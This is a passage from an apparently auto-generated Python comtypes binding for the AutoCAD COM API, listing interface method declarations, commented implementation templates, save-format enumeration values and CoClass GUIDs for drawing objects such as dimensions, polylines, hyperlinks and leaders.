)),\n COMMETHOD([dispid(55), 'propput'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(56), 'propget'], HRESULT, 'SuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(56), 'propput'], HRESULT, 'SuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(57), 'propget'], HRESULT, 'SuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(57), 'propput'], HRESULT, 'SuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(58), 'propget'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(58), 'propput'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(59), 'propget'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(59), 'propput'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(60), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(60), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(62), 'propget'], HRESULT, 'Arrowhead1Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(62), 'propput'], HRESULT, 'Arrowhead1Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(63), 'propget'], HRESULT, 'Arrowhead2Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(63), 'propput'], HRESULT, 'Arrowhead2Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(c_double), 'bVal' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead1Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead1Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead2Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead2Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'DimensionLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 'DimensionLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(85), 'propget'], HRESULT, 'DimConstrForm',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsDynamic' )),\n COMMETHOD([dispid(85), 'propput'], HRESULT, 'DimConstrForm',\n ( ['in'], VARIANT_BOOL, 'bIsDynamic' )),\n COMMETHOD([dispid(86), 'propget'], HRESULT, 'DimConstrReference',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsReference' )),\n COMMETHOD([dispid(86), 'propput'], HRESULT, 'DimConstrReference',\n ( ['in'], VARIANT_BOOL, 'bIsReference' )),\n COMMETHOD([dispid(87), 'propget'], HRESULT, 'DimConstrName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(87), 'propput'], HRESULT, 'DimConstrName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(88), 'propget'], HRESULT, 'DimConstrExpression',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrExpression' )),\n COMMETHOD([dispid(88), 'propput'], HRESULT, 'DimConstrExpression',\n ( ['in'], BSTR, 'bstrExpression' )),\n COMMETHOD([dispid(89), 'propget'], HRESULT, 'DimConstrValue',\n ( ['out', 'retval'], POINTER(BSTR), 'Value' )),\n COMMETHOD([dispid(89), 'propput'], HRESULT, 'DimConstrValue',\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(90), 'propget'], HRESULT, 'DimConstrDesc',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrDescription' )),\n COMMETHOD([dispid(90), 'propput'], HRESULT, 'DimConstrDesc',\n ( ['in'], BSTR, 'bstrDescription' )),\n]\n################################################################\n## code template for IAcadDimDiametric implementation\n##class IAcadDimDiametric_Impl(object):\n## def _set(self, rhs):\n## '-no docstring-'\n## LeaderLength = property(fset = _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bAlternate\n## def _set(self, bAlternate):\n## '-no docstring-'\n## AltUnits = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## AltUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## AltUnitsScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltRoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltTolerancePrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Units\n## def _set(self, Units):\n## '-no docstring-'\n## AltUnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextPrefix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Prec\n## def _set(self, Prec):\n## '-no docstring-'\n## PrimaryUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## FractionFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fittype\n## def _set(self, fittype):\n## '-no docstring-'\n## Fit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LinearScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## UnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## RoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## ForceLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextOutsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CenterType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CenterMarkSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead1Type = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead2Type = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead1Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead2Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## DimensionLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsDynamic\n## def _set(self, bIsDynamic):\n## '-no docstring-'\n## DimConstrForm = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsReference\n## def _set(self, bIsReference):\n## '-no docstring-'\n## DimConstrReference = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## DimConstrName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrExpression\n## def _set(self, bstrExpression):\n## '-no docstring-'\n## DimConstrExpression = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## DimConstrValue = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrDescription\n## def _set(self, bstrDescription):\n## '-no docstring-'\n## DimConstrDesc = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadSectionTypeSettings2._methods_ = [\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'IntersectionBoundaryVisible',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'IntersectionBoundaryVisible',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n]\n################################################################\n## code template for IAcadSectionTypeSettings2 implementation\n##class IAcadSectionTypeSettings2_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionBoundaryVisible = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcad3DPolyline._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'Coordinates' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'Coordinates' )),\n COMMETHOD([dispid(2)], HRESULT, 'AppendVertex',\n ( ['in'], VARIANT, 'vertex' )),\n COMMETHOD([dispid(3)], HRESULT, 'Explode',\n ( ['out', 'retval'], POINTER(VARIANT), 'pArrayObjs' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Type',\n ( ['out', 'retval'], POINTER(Ac3DPolylineType), 'Type' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Type',\n ( ['in'], Ac3DPolylineType, 'Type' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Closed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fClose' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Closed',\n ( ['in'], VARIANT_BOOL, 'fClose' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Length',\n ( ['out', 'retval'], POINTER(c_double), 'Length' )),\n]\n################################################################\n## code template for IAcad3DPolyline implementation\n##class IAcad3DPolyline_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Coordinates\n## def _set(self, Coordinates):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def AppendVertex(self, vertex):\n## '-no docstring-'\n## #return \n##\n## def Explode(self):\n## '-no docstring-'\n## #return pArrayObjs\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Type = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fClose\n## def _set(self, fClose):\n## '-no docstring-'\n## Closed = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Length(self):\n## '-no docstring-'\n## #return Length\n##\n\n\n# values for enumeration 'AcSaveAsType'\nacUnknown = -1\nacR12_dxf = 1\nacR13_dwg = 4\nacR13_dxf = 5\nacR14_dwg = 8\nacR14_dxf = 9\nac2000_dwg = 12\nac2000_dxf = 13\nac2000_Template = 14\nac2004_dwg = 24\nac2004_dxf = 25\nac2004_Template = 26\nac2007_dwg = 36\nac2007_dxf = 37\nac2007_Template = 38\nac2010_dwg = 48\nac2010_dxf = 49\nac2010_Template = 50\nac2013_dwg = 60\nac2013_dxf = 61\nac2013_Template = 62\nacNative = 60\nacR15_dwg = 12\nacR15_dxf = 13\nacR15_Template = 14\nacR18_dwg = 24\nacR18_dxf = 25\nacR18_Template = 26\nAcSaveAsType = c_int # enum\nclass AcadHelix(CoClass):\n _reg_clsid_ = GUID('{DA09C4EE-95DE-4382-95CC-7068EA233182}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadHelix._com_interfaces_ = [IAcadHelix]\nAcadHelix._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadHyperlink._methods_ = [\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'URL',\n ( ['in'], BSTR, 'URLPath' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'URL',\n ( ['out', 'retval'], POINTER(BSTR), 'URLPath' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'URLDescription',\n ( ['in'], BSTR, 'Description' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'URLDescription',\n ( ['out', 'retval'], POINTER(BSTR), 'Description' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Application',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'ApplicationObject' )),\n COMMETHOD([dispid(4)], HRESULT, 'Delete'),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'URLNamedLocation',\n ( ['in'], BSTR, 'Location' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'URLNamedLocation',\n ( ['out', 'retval'], POINTER(BSTR), 'Location' )),\n]\n################################################################\n## code template for IAcadHyperlink implementation\n##class IAcadHyperlink_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return URLPath\n## def _set(self, URLPath):\n## '-no docstring-'\n## URL = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Description\n## def _set(self, Description):\n## '-no docstring-'\n## URLDescription = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Application(self):\n## '-no docstring-'\n## #return ApplicationObject\n##\n## def Delete(self):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return Location\n## def _set(self, Location):\n## '-no docstring-'\n## URLNamedLocation = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadXRecord._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(2)], HRESULT, 'GetXRecordData',\n ( ['out'], POINTER(VARIANT), 'XRecordDataType' ),\n ( ['out'], POINTER(VARIANT), 'XRecordDataValue' )),\n COMMETHOD([dispid(3)], HRESULT, 'SetXRecordData',\n ( ['in'], VARIANT, 'XRecordDataType' ),\n ( ['in'], VARIANT, 'XRecordDataValue' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'TranslateIDs',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'xlateIds' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'TranslateIDs',\n ( ['in'], VARIANT_BOOL, 'xlateIds' )),\n]\n################################################################\n## code template for IAcadXRecord implementation\n##class IAcadXRecord_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def GetXRecordData(self):\n## '-no docstring-'\n## #return XRecordDataType, XRecordDataValue\n##\n## def SetXRecordData(self, XRecordDataType, XRecordDataValue):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return xlateIds\n## def _set(self, xlateIds):\n## '-no docstring-'\n## TranslateIDs = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadRay._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'BasePoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'BasePoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'BasePoint',\n ( ['in'], VARIANT, 'BasePoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'SecondPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'SecondPoint' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'SecondPoint',\n ( ['in'], VARIANT, 'SecondPoint' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'DirectionVector',\n ( ['out', 'retval'], POINTER(VARIANT), 'dirVector' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'DirectionVector',\n ( ['in'], VARIANT, 'dirVector' )),\n]\n################################################################\n## code template for IAcadRay implementation\n##class IAcadRay_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return BasePoint\n## def _set(self, BasePoint):\n## '-no docstring-'\n## BasePoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return SecondPoint\n## def _set(self, SecondPoint):\n## '-no docstring-'\n## SecondPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dirVector\n## def _set(self, dirVector):\n## '-no docstring-'\n## DirectionVector = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadBlockReference(CoClass):\n _reg_clsid_ = GUID('{90B39404-B229-4FC9-A4B1-8EE6BD0C4729}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadBlockReference._com_interfaces_ = [IAcadBlockReference]\nAcadBlockReference._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadAttribute(CoClass):\n 'AutoCAD Attribute Object'\n _reg_clsid_ = GUID('{A3238286-3FBE-47D3-99AB-6BEFF71FB6DD}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadAttribute._com_interfaces_ = [IAcadAttribute]\nAcadAttribute._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadArc(CoClass):\n _reg_clsid_ = GUID('{585BFF19-0001-43E6-A737-4315DC7D38DC}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadArc._com_interfaces_ = [IAcadArc]\nAcadArc._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadMLeaderLeader._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'LeaderType',\n ( ['out', 'retval'], POINTER(AcMLeaderType), 'Type' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'LeaderType',\n ( ['in'], AcMLeaderType, 'Type' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'LeaderLineColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'Type' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'LeaderLineColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'Type' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'LeaderLinetype',\n ( ['out', 'retval'], POINTER(ACAD_LTYPE), 'Linetype' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'LeaderLinetype',\n ( ['in'], ACAD_LTYPE, 'Linetype' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'LeaderLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'LeaderLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'ArrowheadType',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'BlockName' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'ArrowheadType',\n ( ['in'], AcDimArrowheadType, 'BlockName' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(7), 'nonbrowsable', 'propget'], HRESULT, 'ArrowheadBlock',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(7), 'nonbrowsable', 'propput'], HRESULT, 'ArrowheadBlock',\n ( ['in'], BSTR, 'BlockName' )),\n]\n################################################################\n## code template for IAcadMLeaderLeader implementation\n##class IAcadMLeaderLeader_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LeaderType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LeaderLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## LeaderLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## LeaderLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## ArrowheadType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## ArrowheadBlock = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadNurbSurface(CoClass):\n _reg_clsid_ = GUID('{4882BEB7-3E9F-4ED2-8E69-64E955DAFF26}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadNurbSurface._com_interfaces_ = [IAcadNurbSurface]\nAcadNurbSurface._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadSecurityParams(CoClass):\n _reg_clsid_ = GUID('{26DA3C63-BEB3-4B9B-8BB5-008C7D961631}')\n _idlflags_ = []\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSecurityParams(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{88C42A3E-E8B4-4B5D-A8B3-AC3B048B5581}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadSecurityParams._com_interfaces_ = [IAcadSecurityParams]\n\nclass IAxDbDocumentEvents(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IUnknown):\n _case_insensitive_ = True\n _iid_ = GUID('{BDB1BF80-E5BB-448B-B835-548963AEFF26}')\n _idlflags_ = ['oleautomation']\nIAxDbDocumentEvents._methods_ = [\n]\n################################################################\n## code template for IAxDbDocumentEvents implementation\n##class IAxDbDocumentEvents_Impl(object):\n\nIAcadPoint._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'Coordinates' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'Coordinates' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n]\n################################################################\n## code 